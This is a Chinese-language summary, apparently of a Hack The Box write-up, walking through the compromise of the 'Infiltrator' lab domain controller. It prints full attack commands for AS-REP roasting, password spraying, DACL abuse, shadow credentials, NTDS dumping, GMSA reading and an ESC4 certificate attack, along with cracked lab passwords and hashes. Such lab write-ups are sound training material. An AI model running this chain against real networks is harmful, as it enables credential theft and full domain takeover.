HTB: Infiltrator

侦察阶段

Nmap扫描

Nmap扫描显示目标开放多个TCP端口，组合模式表明这是一台Windows Active Directory域控制器：

1

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.31

关键发现：

标准DC端口：53(DNS)、88(Kerberos)、389(LDAP)、445(SMB)、135(RPC)、139(NetBios)
主机名DC01和域名infiltrator.htb泄露
远程访问端口：5985(WinRM)和3389(RDP)
HTTP服务器在80端口，标题为"Infiltrator.htb"

网站分析(TCP 80)

网站为数字营销公司页面，显示7名团队成员信息：

David Anderson - Digital Marketer
Olivia Martinez - Chief Marketing
Kevn Turner - QA Tester
Amanda Walker - Co Founder
Marcus Harris - Developer
Lauren Clark - Digital Influencer
Ethan Rodriguez - Digital Influence

SMB枚举

使用netexec确认Windows Server 2019环境，域名为infiltrator.htb：

1

oxdf@hacky$ netexec smb infiltrator.htb

初始访问

用户名枚举

使用username-anarchy生成可能的用户名格式，确认格式为[首字母].[姓氏]：

1

oxdf@hacky$ /opt/username-anarchy/username-anarchy -i names.txt > usernames.txt

AS-REP-Roast攻击

发现L.Clark账户设置了DONT_REQUIRE_PREAUTH标志：

1

oxdf@hacky$ GetNPUsers.py infiltrator.htb/ -dc-ip 10.10.11.31 -usersfile valid_users

哈希破解

使用Hashcat破解Kerberos哈希，获得密码"WAT?watismypass!"：

1

$ hashcat l.clark.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

密码喷洒

发现D.Anderson使用相同密码，但账户受Protected Users组限制：

1

oxdf@hacky$ netexec smb infiltrator.htb -u valid_usernames.txt -p passwords --continue-on-success

横向移动

Bloodhound分析

收集Bloodhound数据发现D.Anderson对Marketing Digital OU具有GenericAll权限：

1

oxdf@hacky$ bloodhound-python -c All -d infiltrator.htb -u l.clark -p 'WAT?watismypass!' -ns 10.10.11.31 --zip

OU权限滥用

使用dacledit.py修改OU的DACL，为D.Anderson添加完全控制权限：

1

oxdf@hacky$ dacledit.py -action write -rights FullControl -inheritance -principal d.anderson -target-dn "OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB" 'infiltrator.htb/d.anderson:WAT?watismypass!' -dc-ip infiltrator.htb -k

影子凭证攻击

使用Certipy为E.Rodriguez添加影子凭证：

1

oxdf@hacky$ KRB5CCNAME=d.anderson.ccache certipy shadow auto -k -target dc01.infiltrator.htb -account e.rodriguez

组权限提升

通过BloodyAD将E.Rodriguez添加到Chiefs Marketing组，然后修改M.Harris密码：

1

oxdf@hacky$ bloodyAD -u e.rodriguez -p :b02e97f2fdb5c3d36f77375383449e56 --host dc01.infiltrator.htb -d infiltrator.htb add groupMember "CHIEFS MARKETING" e.rodriguez

Output Messenger利用

应用程序分析

发现Output Messenger应用程序，通过分析聊天记录和数据库文件获取更多凭据：

从K.Turner账户发现M.Harris的密码"D3v3l0p3r_Pass@1337!"
通过API密钥访问聊天室API获取O.Martinez的密码

日历功能利用

通过Output Messenger的日历功能实现代码执行，获取反向shell。

权限提升

BitLocker恢复

从PCAP文件中提取BitLocker备份文件，使用恢复密钥解密E驱动器，获取NTDS数据库备份。

NTDS哈希提取

使用secretsdump从NTDS文件中提取域哈希：

1

oxdf@hacky$ secretsdump.py -security registry/SECURITY -system registry/SYSTEM -ntds Active\ Directory/ntds.dit LOCAL

GMSA账户利用

发现lan_managment账户对infiltrator_svc$ GMSA账户具有ReadGMSAPassword权限：

1

oxdf@hacky$ netexec ldap infiltrator.htb -u lan_managment -p 'l@n_M@an!1331' --gmsa

ADCS证书攻击

利用ESC4漏洞修改证书模板，为Administrator账户申请证书：

1

oxdf@hacky$ certipy template -u 'infiltrator_svc$' -hashes :9ae7de37439f359608eccf2cff5d32b9 -dc-ip 10.10.11.31 -template Infiltrator_Template -save-old

最终获取Administrator的NTLM哈希，完成域控完全控制。

1

oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.31

深入解析HTB渗透挑战Infiltrator：从AS-REP-Roast到ADCS权限提升

本文详细记录了从HTB的Infiltrator靶机中获得初始访问权限到最终获取管理员权限的全过程，涉及AS-REP-Roast攻击、密码喷洒、Bloodhound分析、OU权限滥用、证书模板漏洞利用（ESC4）等多项Active Directory渗透技术。